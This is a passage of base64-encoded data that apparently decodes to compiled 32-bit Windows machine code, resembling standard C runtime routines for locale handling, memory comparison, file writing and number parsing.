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A+GSAIAAIOlQOX//wCLyyuNNOX//2oCjYVI5f//XjtNEHNDD7cTA94DzomdIOX//4P6CnUaAbUw5f//ag1bZokYi50g5f//A8YBtUDl//8BtUDl//9miRADxoG9QOX///4TAAByuIvwjYVI5f//K/BqAI2FKOX//1BWjYVI5f//UIuFJOX//4sA/zQH/xVs4QMQhcAPhGkBAACLhSjl//8BhTjl//87xg+MYQEAAIvDK4U05f//O0UQD4JH////6UsBAACLhTTl//+JhSzl//85TRAPhnUBAACLjSzl//+DpUDl//8AK4005f//agKNhUj5//9eO00QczuLlSzl//8PtxIBtSzl//8DzoP6CnUOag1bZokYA8YBtUDl//8BtUDl//9miRADxoG9QOX//6gGAABywDP2VlZoVQ0AAI2N8Ov//1GNjUj5//8rwZkrwtH4UIvBUFZo6f0AAP8VSOIDEIvYO94PhJcAAABqAI2FKOX//1CLwyvGUI2ENfDr//9Qi4Uk5f//iwD/NAf/FWzhAxCFwHQMA7Uo5f//O95/y+sM/xV44QMQiYVE5f//O95/XIuFLOX//yuFNOX//4mFOOX//ztFEA+CC////+s/UY2NKOX//1H/dRD/tTTl////NDj/FWzhAxCFwHQVi4Uo5f//g6VE5f//AImFOOX//+sM/xV44QMQiYVE5f//g7045f//AHVsg71E5f//AHQtagVeObVE5f//dRToZFD//8cACQAAAOhsUP//iTDrP/+1ROX//+hwUP//Wesxi4Uk5f//iwD2RAcEQHQPi4U05f//gDgadQQzwOsk6CRQ///HABwAAADoLFD//4MgAIPI/+sMi4U45f//K4Uw5f//W4tN/F8zzV7omiD//8nDahBo+MIEEOjnmP//i10Ig/v+dRvo8E///4MgAOjVT///xwAJAAAAg8j/6ZQAAACF23gIOx0QMQUQchroyU///4MgAOiuT///xwAJAAAA6AGH///r0ovDwfgFjTyFIDEFEIvzg+YfweYGiwcPvkQwBIPgAXTGU+haw///WYNl/ACLB/ZEMAQBdBT/dRD/dQxT6G74//+DxAyJReTrF+hUT///xwAJAAAA6FxP//+DIACDTeT/x0X8/v///+gMAAAAi0Xk6HCY///Di10IU+iiw///WcOL/1WL7FFRi0UMV4t9CIXAdAKJOIX/dRfoBU///8cAFgAAAOhYhv//M8DpkAEAAIN9EAB0DIN9EAJ83YN9ECR/14Nl/ABTVmoIWw+3N1NWg8cC6PxmAABZWYXAde1mg/4tdQaDTRQC6wZmg/4rdQYPtzeDxwKDfRAAdS1W6ClqAABZhcB0CcdFEAoAAADrPg+3B4P4eHQKg/hYdAWJXRDrLMdFEBAAAACDfRAQdR9W6PZpAABZhcB1FA+3B4P4eHQFg/hYdQcPt3cCg8cEg8j/M9L3dRCJVfiL2FboymkAAFmD+P91KWpBWGY7xncGZoP+WnYJjUafZoP4GXcxjUafZoP4GQ+3xncDg+ggg8DJO0UQcxqDTRQIOV38cip1BTtF+HYjg00UBIN9DAB1JYtFFIPvAqgIdSaDfQwAdAOLfQiDZfwA62GLTfwPr00QA8iJTfwPtzeDxwLpfP///77///9/qAR1G6gBdT2D4AJ0CYF9/AAAAIB3CYXAdSs5dfx2JuibTf//9kUUAccAIgAAAHQGg038/+sP9kUUAmoAWA+VwAPGiUX8i0UMXluFwHQCiTj2RRQCdAP3XfyLRfxfycOL/1WL7GoA/3UQ/3UM/3UI6Cn+//+DxBBdw4v/VYvsiwY5RQh1RosPagJQO00MdSvonmr//1lZiQeFwHUEM8Bdw4tFEMcAAQAAAP82/3UM/zfoR1L//4PEDOsPUegMa///g8QMhcB01YkH0SYzwEBdw4v/VYvsD7ZFCFDoBG///4XAD75FCFl1BoPg34PoB13D/0oEeAmLCg+2AUGJCsNS6M6d//9Zw4v/VYvsU4tVCP8G6Nr///+L2IP7/3QOD7bDUOjCb///WYXAdeGLw1tdw4v/VYvsgewEAgAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+JjRz+//+NjXz+//+JhWD+//+JtVD+//+JjVj+///HhSj+//9eAQAAib0w/v//ib0Q/v//ib1s/v//ib0M/v//O/d1GOgkTP//xwAWAAAA6HeD//+DyP/plxAAADvHdOT2QAxAU3VyUOg5Nf//WbpgCgUQg/j/dBuD+P50FovIg+Efi9jB+wXB4QYDDJ0gMQUQ6wKLyvZBJH91JoP4/3QZg/j+dBSLyIPgH8H5BcHgBgMEjSAxBRDrAovC9kAkgHQY6KdL///HABYAAADo+oL//4PI/+kZEAAA/3UQjY38/f//6PMs//+KBsaFXv7//wCJvXT+//+JvTj+//+EwA+E1Q8AAA+2wFDoiW7//1mFwHRL/7Vg/v///410/v//jbV0/v//6Iv+//9Zg/j/dA7/tWD+//9Q6Lt7//9ZWYu1UP7//0YPtgZQ6Elu//9ZhcB18Ym1UP7//+lwDgAAi7VQ/v//igY8JQ+F2g0AADhGAQ+Exw0AADP/ib08/v//xoUv/v//AIm9VP7//4m9QP7//4m9ZP7//4m9NP7//8aFXf7//wDGhVz+//8AxoVq/v//AMaFc/7//wDGhV/+//8AxoVr/v//AMaFe/7//wGJvST+//9GD7YeD7bDUOiwbP//WYXAdB6LhWT+////hUD+//9rwAqNRBjQiYVk/v//6cUAAACD+04Pj4MAAAAPhLYAAACD+yp0cIP7Rg+EqAAAAIP7SXQQg/tMdXT+hXv+///pkwAAAIpOAYD5NnUejUYCgDg0dRb/hST+//+L8Im9SP7//4m9TP7//+ttgPkzdQyNRgKAODJ1BIvw61yA+WR0V4D5aXRSgPlvdE2A+Xh0SID5WHUZ60H+hWr+///rOYP7aHQog/tsdA2D+3d0Fv6Fc/7//+sijUYBgDhsdJf+hXv+///+hWv+///rDP6Ne/7///6Na/7//4C9c/7//wAPhP7+//+AvWr+//8AibVQ/v//dRmLhRz+//+LGImFFP7//4PABImFHP7//+sCM9uAvWv+//8AiZ1E/v//xoVz/v//AHUYigY8U3QLxoVr/v///zxDdQfGhWv+//8BD7Y+g88gib0Y/v//g/9udFCD/2N0GYP/e3QU/7Vg/v//jbV0/v//6Fr8//9Z6xGLlWD+////hXT+///oMPz//4mFbP7//4P4/w+E+wwAAIudRP7//4u1UP7//4u9GP7//4uNQP7//4XJdA2DvWT+//8AD4Q2DAAAgL1q/v//AHVBg/9jdAqD/3N0BYP/e3Uyi4UU/v//ixiDwASJhRT+//+DwASJhRz+//+LQPyJnUT+//+JhTT+//+D+AEPgvULAACD/28Pj5cFAAAPhFUIAACD/2MPhBAEAACD/2QPhEMIAAAPjqMFAACD/2d+RIP/aXQhg/9uD4WQBQAAgL1q/v//AIuFdP7//w+EvwoAAOnmCgAAamRfi51s/v//g/stD4WTBgAAxoVc/v//AemMBgAAM9uDvWz+//8tdQyLhVj+///GAC1D6wmDvWz+//8rdR3/jWT+//+LlWD+////hXT+///oB/v//4mFbP7//4O9QP7//wB1B4ONZP7///8PtoVs/v//62uLhWT+////jWT+//+FwHRmioVs/v//i41Y/v///4VU/v//i